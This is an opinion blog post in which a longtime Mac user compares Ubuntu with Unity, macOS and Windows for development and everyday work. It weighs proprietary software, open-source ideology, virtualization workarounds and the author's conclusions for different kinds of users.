<p>Windows is off the table, sorry. I was a Windows user for almost 15 years before switching to Macs in 2004. I know Windows cold, I know all my winding paths through the Registry and the mess that is the infamous C:\WINDOWS. I tried every recent Windows (7, 8, 8.1, 10) and the conclusion is the same: I have zero interest in going back.</p>
<p>If I had to develop in .NET, I wouldn&rsquo;t even try to emulate the environment, I&rsquo;d just run Windows itself, in a virtual machine. The only workaround, when your setup needs a hybrid of .NET and open source, is to run Linux with virtualization.</p>
<p>The open-source development cycle on a Mac isn&rsquo;t exactly simple either. You need to understand XCode, and you need to know that GCC stopped being the default choice a while ago, since Apple moved to LLVM-Clang, and because of that plenty of things can break. Even so, the <a href="https://brew.sh/"target="_blank" rel="noopener">Homebrew</a> folks did a great job smoothing over most of the problems. So yes, you can develop comfortably, as long as you&rsquo;re not a system/low-level developer.</p>
<p>For iOS development, you need XCode. There&rsquo;s no alternative. For other languages you can work with relative ease, whether Python, Ruby, or the newer ones like Rust, Elixir, and Go. Java also runs reasonably well on Mac, so Java 8, Clojure, Scala, and Groovy are all on the table.</p>
<p>Optionally, I recommend running a virtualized Linux environment inside the Mac. Either straight through Virtualbox, which isn&rsquo;t the most stable thing in the world on a Mac, or through VMWare Fusion, with <a href="https://www.vagrantup.com/vmware"target="_blank" rel="noopener">Vagrant</a> to make it easier. That second option will cost you, USD 170.</p>
<h3>Proprietary Software vs Open Source<span class="hx:absolute hx:-mt-20" id="proprietary-software-vs-open-source"></span>
    <a href="#proprietary-software-vs-open-source" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Yes, on Linux we have plenty of options, like Inkscape, Gimp, and Blender. Yes, you &ldquo;can&rdquo; do a lot of things.</p>
<p>In practice, usability counts.</p>
<p>On OS X we have Keynote, iMovie, and Garageband, with no equals in usability. For higher-end work, we have Aperture, Final Cut Pro, and Logic Pro, again with no equals in usability and flexibility.</p>
<p>On Windows, you can pick the Adobe suite, which runs from Photoshop and Illustrator to Premiere Pro and After Effects, all of which also have Mac versions.</p>
<p>In the productivity world, forget LibreOffice or even Google Docs: the Microsoft Office suite, Word and Excel in particular, is still unbeatable. You can do something similar, you can edit something similar, but it still isn&rsquo;t close to the same thing, especially with more complex spreadsheets full of formulas, pivot tables, and the like.</p>
<p>They all cost money, and they cost a lot. Obviously it isn&rsquo;t fair to compare them with open source options. But I&rsquo;d love to have the option of paying to run them on a Linux distro. The problem is that Linux distros aren&rsquo;t friendly to proprietary software. It&rsquo;ll always be the dilemma of 100% open against hybrid or 100% closed. Just ask the Ubuntu crowd.</p>
<p>A small example is 1Password, which I use on Mac, on Android, used on iOS (when I had an iPhone), and has a Windows version. Everything except Linux. I was forced to run the Windows 1Password through Wine just to get to my passwords again. &ldquo;Serves you right for using proprietary software.&rdquo;</p>
<p>For better or worse, the ideal of 100% open software has never been farther away, especially now that every app has an online component. There&rsquo;s plenty of open source &ldquo;client&rdquo; these days, but the back-end is completely closed source. Worse: it isn&rsquo;t even a binary on your machine, it lives in the &ldquo;cloud.&rdquo;</p>
<p>Nobody is going to sign up for the ideal of the <a href="http://www.gnu.org/licenses/why-affero-gpl.en.html"target="_blank" rel="noopener">Affero GPL</a>, where the code running in the cloud should also be open. And even if it were, it wouldn&rsquo;t be practical for anyone to simulate everyone else&rsquo;s cloud environment.</p>
<p>Today, the open source world isn&rsquo;t a world of absolute freedom. I usually put it this way: it&rsquo;s the best value companies have ever had for maintaining commoditized software.</p>
<p>Languages, frameworks, toolkits, development tools, and cryptography libraries are commoditized software.</p>
<p>The Adobe suite, Office, and the rest aren&rsquo;t commodities yet. They keep going full steam, with new feature after new feature, every six months. It&rsquo;s impossible for an open source copy-cat, with no resources, to reach the same level. And there&rsquo;s no interest in doing so either.</p>
<p>For anyone who needs proprietary software as a daily tool, the advice is blunt: don&rsquo;t leave Windows, don&rsquo;t leave Mac.</p>
<p>I need it once in a while. 80% of my needs depend on commoditized software, or on software that isn&rsquo;t the core business of any company that makes it. For Google, Chromium is worth being open source, but don&rsquo;t go anywhere near the Ad Sense code, which is the real core business.</p>
<p>For everyone, it&rsquo;s worth having the clients that consume their services be open source. I&rsquo;ll find a good client for Dropbox, for Google Drive, but don&rsquo;t bother looking for the rest: the core business still is, and will stay, closed. That&rsquo;s where the ideal of Free Software keeps drifting farther and farther away.</p>
<p>I&rsquo;m not an idealist. For most developers, what we have is already enough, it sustains itself and becomes viable in a hybrid world. In the real world, 80% of what I need is available. The other 20% I solve through virtualization, with my Office running via Wine or via Virtualbox.</p>
<p>Maybe I can get Apple Keynote running via Hackintosh in a Virtualbox. Or I solve the last 5% with an outdated Macbook that still runs what I need for the few hours when I need it.</p>
<p>I tried installing a Hackintosh via Virtualbox and, even though I managed it after many attempts and many tutorials, it stays absolutely unstable and slow, even with 2 of my 4 Core i7, 4GB of RAM, and 128MB of video memory. It&rsquo;s not usable. If I want Keynote, it&rsquo;ll have to be a real Mac, there&rsquo;s no substitute.</p>
<h3>Why Ubuntu + Unity?<span class="hx:absolute hx:-mt-20" id="why-ubuntu--unity"></span>
    <a href="#why-ubuntu--unity" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If there&rsquo;s one thing everyone has an opinion about, it&rsquo;s how to use your Linux. It depends on who you are.</p>
<p>If you&rsquo;re a more idealistic programmer, you&rsquo;ll hate Ubuntu precisely for taking what Debian does and adding the <em>argh</em> terrible layer of proprietary software on top.</p>
<p>If you&rsquo;re a more hardcore programmer, you&rsquo;ll want to understand every inch of your Linux, and for that you&rsquo;ll always find Arch Linux (or at least <a href="http://web.archive.org/web/20150913071621/http://antergos.com/"target="_blank" rel="noopener">Antergos</a>) a superior option. For these folks, Pacman will always be infinitely superior to Apt-Get or Yum.</p>
<p>If you&rsquo;re the &ldquo;be stable without fiddling too much, but don&rsquo;t be ordinary&rdquo; type, you may end up drifting toward Fedora.</p>
<p>And whatever the distro, there will always be the eternal fight between Window Managers. The KDE crowd with their Plasma trashing the outdated Gnome, XFCE asserting its &ldquo;simple and stable&rdquo; stance, or a new distro like Elementary OS building its own new Pantheon. This has no end.</p>
<p>Most new programmers, who&rsquo;ve used Linux for 5 years or less, can&rsquo;t grasp how anyone could use a Linux without customizing it entirely to their taste. Editing every X11 file, every theme and icon pack to become a &ldquo;Windows-alternative,&rdquo; an &ldquo;OS X-rebel.&rdquo;</p>
<p>In my case, what many may not get, is that I&rsquo;m an old-school Linux user. My first Linux was Slackware 1.0 in 1996. I installed RedHat pre-4, and then came distros like Mandrake, long before a Kurumin. I installed the first versions of most of the distros around today.</p>
<p>I pulled night after night customizing my X, downloading themes, downloading widgets, tweaking every part of the system. Then I&rsquo;d do something wrong, decide to wipe everything, and start over from scratch. I spent a lot of time checking kernel compile flags to make mine as customized as possible.</p>
<p>I stayed in that vibe from 1997 to maybe 2001. It&rsquo;s exhausting, seriously. If you&rsquo;re a programmer, in your 20s, and you&rsquo;ve never done it, I&rsquo;d say you have a <strong>moral</strong> obligation to go through this process. Every programmer needs to enjoy having total control over their own environment.</p>
<p>But it isn&rsquo;t healthy to do this for more than 5 years. After that, what you really want is to be productive, to produce instead of customize. The number of hours it takes to make a distro 100% &ldquo;mine&rdquo; simply doesn&rsquo;t pay off.</p>
<p>That&rsquo;s why I like OS X: I don&rsquo;t need to customize anything. It all comes right out-of-the-box, the best Window Manager, on top of one of the best traditional Unix flavors, with reasonably simple access to both the open source world and the best of the closed source world. It&rsquo;s the best of both worlds.</p>
<p>In the Linux world, you have to deal with the ideology of the GPL. I fully understand Stallman&rsquo;s arguments, I&rsquo;ve read and reread the site countless times. How many times have you <strong>really</strong> read the whole <a href="http://www.gnu.org/philosophy/philosophy.html"target="_blank" rel="noopener">gnu.org</a>? Unfortunately there&rsquo;s no free lunch: staying in the ideology means giving up a lot of things I honestly don&rsquo;t have the willingness to give up.</p>
<p>As it happens, the Dell I bought came with Ubuntu preinstalled. It&rsquo;s what it&rsquo;s supported on, which means all the hardware works and the drivers are up to date. I plan to stay inside the Ubuntu ecosystem, Unity included, which I know many people don&rsquo;t like for ideological reasons or because they think XFCE, Gnome, KDE, or whatever works better for their taste.</p>
<p>Again: the cost of customization simply doesn&rsquo;t pay off. Software isn&rsquo;t installed once and works forever. You have to update it, you have to have support, it has to be consistent. The Canonical folks are the only company seriously focused on usability and the end consumer, and that matters.</p>
<p>Canonical gets slowed down constantly by ideology and by too many opinions that never reach a consensus, and it gets vilified every time it makes a decision: half the community will always miss out on what they want and gripe about it. It&rsquo;s a slow, bureaucratic process that an Apple simply decided to bypass entirely.</p>
<p>Except Apple can bring in Microsoft, Adobe, and generate profitable business models for hundreds of other software houses. Canonical still can&rsquo;t do that and leans heavily on the spare hours of volunteer programmers in the open source world. That dependency is at once a great strength and its biggest problem.</p>
<p>Last tip: I had trouble keeping the system in English (menus and everything else) while using an external Mac USB keyboard with the English (US, alternative international) layout. The usual way of accenting the &ldquo;c&rdquo; to get the cedilla &ldquo;ç&rdquo; didn&rsquo;t work. It only worked after I followed <a href="http://linuxlegal.blogspot.com/2014/02/cedilha-no-ubuntu-1310-com-teclado.html"target="_blank" rel="noopener">Kemel Zaidan&rsquo;s</a> tutorial.</p>
<h3>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Will I keep using Ubuntu as my main machine? I don&rsquo;t know yet. I&rsquo;m keeping my options open for harder times, with the dollar above R$ 2.50. Below that level, I&rsquo;ll stick with a Mac without thinking twice.</p>
<p>For home users, a Linux works well. It&rsquo;s the Chrome OS idea, a Linux basically running Web Apps like Google Docs, Gmail, and the rest. At that level, it doesn&rsquo;t matter which OS or which configuration. The advantage of a Linux for the web use of 90% of the population is not being vulnerable to the most obvious malware.</p>
<p>For office users, a Linux works reasonably well, but, as I said, Office still can&rsquo;t be replaced. The way out is the whole company adopting a simpler document format and not doing anything too complex in Excel, for example. In general, Google Docs and Google Drive or Dropbox, with Gmail Business, work well enough.</p>
<p>For .NET developers, stay on Windows.</p>
<p>For open source developers, it doesn&rsquo;t matter whether you stay on Linux or Mac. If it&rsquo;s high-end, choose a Mac if you can afford it. If it&rsquo;s more low-level, stay in the pure Linux world. When in doubt: Ubuntu 14.04 LTS (with Unity!), install your choice of Sublime Text 3, and the rest works perfectly.</p>
<p>For hybrid users, who are developers most of the time but also need proprietary software (my case), you can stay on Linux. Most of the time it won&rsquo;t hurt much. But in that one moment when you need to edit a video, work on a heavier Photoshop, or put together a more elaborate Keynote, have a Mac at hand. For that case, there&rsquo;s no alternative.</p>
]]></content:encoded><category>linux</category><category>apple</category><category>hardware</category><category>off-topic</category></item></channel></rss>